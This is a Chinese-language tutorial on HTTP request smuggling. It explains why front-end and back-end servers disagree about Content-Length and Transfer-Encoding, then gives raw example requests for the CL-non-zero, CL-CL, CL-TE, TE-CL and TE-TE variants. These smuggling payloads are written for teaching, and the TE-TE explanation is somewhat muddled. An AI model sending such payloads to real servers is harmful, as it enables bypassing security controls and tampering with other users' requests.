HTTP请求走私

什么是HTTP请求走私?

​ HTTP请求走私是一种干扰网站处理从一个或多个数据接收的HTTP请求序列方式的技术。请求走私漏洞在本质上通常很关键,允许攻击者绕过安全控制,未经授权访问敏感数据,并直接危害其他应用程序用户。

HTTP请求走私攻击会发生什么?

​ 当今的 Web 应用程序经常在用户和最终应用程序逻辑之间使用 HTTP 服务器链。用户向前端服务器(有时称为负载平衡器或反向代理)发送请求,该服务器将请求转发到一个或多个后端服务器。这种类型的架构在现代基于云的应用程序中越来越普遍,在某些情况下是不可避免的。

​ 当前端服务器将 HTTP 请求转发到后端服务器时,它通常会通过同一个后端网络连接发送多个请求,因为这样更加高效和高效。

​ 协议很简单:HTTP请求一个接一个发送,接收服务器解析HTTP请求头,判断一个请求从哪里结束,下一个请求从哪里开始在这种情况下,前端和后端系统就请求之间的边界达成一致至关重要。否则,攻击者可能能够发送由前端和后端系统以不同方式解释的模棱两可的请求。

​ 所以攻击者利用点就是让他们前端请求的一部分被后端服务器解释为下一个请求的开始。实际上是在下一个请求的前面,因此可能会干扰应用程序处理该请求的方式。这是一种请求走私攻击,它可能会产生破坏性的结果。

HTTP请求走私漏洞是如何产生的?

​ 根本原因在于:前端服务器(CDN)和后端服务器接收数据不同步,引起对客户端传入的数据理解不一致,从而导致了漏洞的产生

​ 大多数的HTTP请求走私漏洞的出现是因为HTTP规范提供了两种不同的方法来指定请求的结束位置:Content-Length标头和Transfer-Encoding标头。

​ 当同时使用两种不同的方法的时候,Content-Length无效。当使用多个服务器时,对客户端传入的数据理解不一致时,就会出现有些服务器认为Content-Length的长度有校,有些以Transfer-Encoding有效。而一般情况下,反向代理服务器与后端的源站服务器之间,会重用TCP链接,这样超出的长度就会拼接到下一次请求进行请求,从而导致了HTTP请求走私漏洞。

RFC2616规范:如果接收的消息同时包含传输编码头字段(Transfer-Encoding)和内容长度头(Content-Length)字段,则必须忽略后者。由于规范默许可以使用Transfer-EncodingContent-Length处理请求,因此很少有服务器拒绝此类请求。每当我们找到一种方法,将Transfer-Encoding隐藏在服务端的一个chain中时,他将会回退到使用Content-Length去发送请求。

image-20210804225007465

​ 当服务器向代理服务器发送一个比较模糊的HTTP请求时,由于两者服务器的实现方式不同,代理服务器可能认为这是一个HTTP请求,然后将其转发给了后端的源站服务器,但源站服务器经过解析处理后,只认为其中的一部分为正常请求,剩下的那一部分,就算是走私的请求,当该部分对正常用户的请求造成了影响之后,就实现了HTTP走私攻击。

为什么会出现多次请求?

HTTP 1.1的协议特性——Keep-Alive&Pipeline

在HTTP请求中增加一个特殊的请求头Connection: Keep-Alive,告诉服务器,接收完这次HTTP请求后,不要关闭TCP链接,后面对相同目标服务器的HTTP请求,重用这一个TCP链接。这样只需要进行一次TCP握手的过程,可以减少服务器的开销,节约资源,还能加快访问速度。这个特性在HTTP1.1中默认开启的

Pipeline(http管线化)

http管线化是一项实现了多个http请求但不需要等待响应就能够写进同一个socket的技术,仅有http1.1规范支持http管线化。在这里,客户端可以像流水线一样发送自己的HTTP请求,而不需要等待服务器的响应,服务器那边接收到请求后,需要遵循先入先出机制,将请求和响应严格对应起来,再将响应发送给客户端。

现在的浏览器默认不启用Pipeline,但是一般都提供了对Pipeline的支持。

如何执行HTTP请求走私攻击

​ HTTP请求走私攻击涉及将Content-Length标头和Transfer-Encoding标头都放置在单个HTTP请求中并进行处理,以便前端服务器和后端服务器以不同的方式处理请求。完成此操作的确切方式取决于两个服务器的行为

  • CL.TE:前端服务器使用Content-Length标头,而后端服务器使用Transfer-Encoding标头。
  • TE.CL:前端服务器使用Transfer-Encoding标头,而后端服务器使用Content-Length标头。
  • TE.TE:前端服务器和后端服务器都支持Transfer-Encoding标头,但是可以通过对标头进行某种方式的混淆来诱导其中一台服务器不对其进行处理。

HTTP请求走私的五种方式

CL不为0

所有不携带请求体的HTTP请求都有可能受此影响。这里用GET请求举例。

前端代理服务器允许GET请求携带请求体;

后端服务器不允许GET请求携带请求体,

它会直接忽略掉GET请求中的Content-Length头,不进行处理。这就有可能导致请求走私

eg:

GET / HTTP/1.1\r\n
Host: test.com\r\n
Content-Length: 44\r\n

GET / secret HTTP/1.1\r\n
Host: test.com\r\n
\r\n

\r\n为windows中的换行,unix中的换行为\n,mac的换行为\r

攻击过程:

​ 前端服务器收到该请求,读取Content-Length,判断这是一个完整的请求。
然后转发给后端服务器,后端服务器收到后,因为它不对Content-Length进行处理,由于Pipeline的存在,后端服务器就认为这是收到了两个请求,分别是:

第一个请求

GET / HTTP/1.1\r\n
Host: test.com\r\n

第二个请求

GET / secret HTTP/1.1\r\n
Host: test.com\r\n

这样就造成了请求走私

CL-CL


RFC7230规范:规定当服务器收到的请求中包含两个Content-Length,而且两者的值不同时,需要返回400错误

​ 但是有些服务器不会严格的实现该规范,假设中间的代理服务器和后端的源站服务器在收到类似的请求时,都不会返回400错误

​ 但是中间代理服务器按照第一个Content-Length的值对请求进行处理,而后端源站服务器按照第二个Content-Length的值进行处理

范例

POST / HTTP/1.1\r\n
Host: test.com\r\n
Content-Length: 8\r\n
Content-Length: 7\r\n

12345\r\n
a

​ 中间服务器获取的是第一个Content-Length,也就是获取到的数据包的长度为8,将上述整个刚好字节为8的数据包转发给后端的源站服务器,后端服务器获取的是第二个Content-Length。读取完前7个字符之后,后端服务器认为已经读取完毕了,,认为这个a是下一个请求的一部分,但是还没有传输出去。如果在这个时候有一个其他的正常用户对服务器进行了请求

GET /index.html HTTP/1.1\r\n
Host: test.com\r\n

​ 因为代理服务器与源站服务器之间一般会重用TCP连接。所以正常用户的请求就拼接到了字母a的后面,当后端服务器接收完毕后,它实际处理的请求其实是:

aGET /index.html HTTP/1.1\r\n
Host: test.com\r\n

​ 这时,用户就会收到一个类似于aGET request method not found的报错。这样就实现了一次HTTP走私攻击,而且还对正常用户的行为造成了影响,而且还可以扩展成类似于CSRF的攻击方式。

但是一般的服务器都不会接受这种存在两个请求头的请求包,但是根据RFC2616规范:如果接收的消息同时包含传输编码头字段(Transfer-Encoding)和内容长度头(Content-Length)字段,则必须忽略内容长度头(Content-Length)。

​ 所以请求包中同时包含这两个请求头并不算违规,服务器也不需要返回400错误。导致服务器在这里的实现更容易出问题

CL-TE

​ CL-TE,就是当收到存在两个请求头的请求包时,前端代理服务器只处理Content-Length请求头,而后端服务器会遵守RFC2616的规定,忽略掉Content-Length,处理Transfer-Encoding请求头。

示例:

POST / HTTP/1.1\r\n
Host: test.com\r\n
......
Connection: keep-alive\r\n
Content-Length: 6\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n
a

​ chunk编码将数据分成一块一块的发生。Chunked编码将使用若干个Chunk串连而成,由一个标明 长度为0 的chunk标示结束。每个Chunk分为头部和正文两部分,头部内容指定正文的字符总数( 十六进制的数字 )和数量单位(一般不写),正文部分就是指定长度的实际内容,两部分之间用 回车换行(CRLF) 隔开。在最后一个长度为0的Chunk中的内容是称为footer的内容,是一些附加的Header信息(通常可以直接忽略)

关于chunked详情点击

由于前端服务器处理Content-Length,所以这对于它来说是一个完整的请求,请求体的长度为6,也就是

0\r\n
\r\n
a

当请求包经过代理服务器转发给后端服务器时,后端服务器处理Transfer-Encoding,当它读取到

0\r\n
\r\n

认为已经读取到了结尾了,就剩下了a留在了缓冲区中,等待下一次的请求,当我们重复发送请求后,发送的请求在后端服务器拼接成了类似下面这种请求:

aPOST / HTTP/1.1\r\n
Host: test.com\r\n
......

服务器在解析时就会产生报错了,从而造成HTTP请求走私。

TE-CL

TE-CL,就是当收到存在两个请求头的请求包时,前端代理服务器处理Transfer-Encoding请求头,后端服务器处理Content-Length请求头。

构造请求示例

POST / HTTP/1.1\r\n
Host: test.com\r\n
......
Content-Length: 4\r\n
Transfer-Encoding: chunked\r\n
\r\n
12\r\n
aPOST / HTTP/1.1\r\n
\r\n
0\r\n
\r\n

前端服务器处理Transfer-Encoding,当读取到

0\r\n
\r\n

此时认为读取完毕,这个请求对代理服务器来说是一个完整的请求,然后转发给后端服务器,后端服务器处理Content-Length请求头,因为请求体的长度为4,也就是读取

12\r\n

就认为这个请求已经结束了,后面的数据就认为是另一个请求

aPOST / HTTP/1.1\r\n
\r\n
0\r\n
\r\n

造成报错,造成了HTTP请求走私

TE-TE

TE-TE,当收到存在两个请求头的请求包时,前后端服务器都处理Transfer-Encoding请求头,确实是实现了RFC的标准。不过前后端服务器不是同一种。这就有了一种方法,我们可以对发送的请求包中的Transfer-Encoding进行某种混淆操作(如某个字符改变大小写),从而使其中一个服务器不处理Transfer-Encoding请求头。在某种意义上这还是CL-TE或者TE-CL

示例:

POST / HTTP/1.1\r\n
Host: test.com\r\n
......
Content-length: 4\r\n
Transfer-Encoding: chunked\r\n
Transfer-encoding: cow\r\n
\r\n
5c\r\n
aPOST / HTTP/1.1\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 15\r\n
\r\n
x=1\r\n
0\r\n
\r\n

前端服务器先处理Transfer-Encoding,当其读取到

0\r\n
\r\n

认为读取结束

此时这个请求对代理服务器来说是一个完整的请求,然后转发给后端服务器处理Transfer-encoding请求头,将Transfer-Encoding隐藏在服务端的一个chain中时,它将会回退到使用Content-Length去发送请求。读取到

5c\r\n

认为是读取完毕了。后面的数据就认为是另一个请求:

aPOST / HTTP/1.1\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 15\r\n
\r\n
x=1\r\n
0\r\n
\r\n

成功报错,造成HTTP请求走私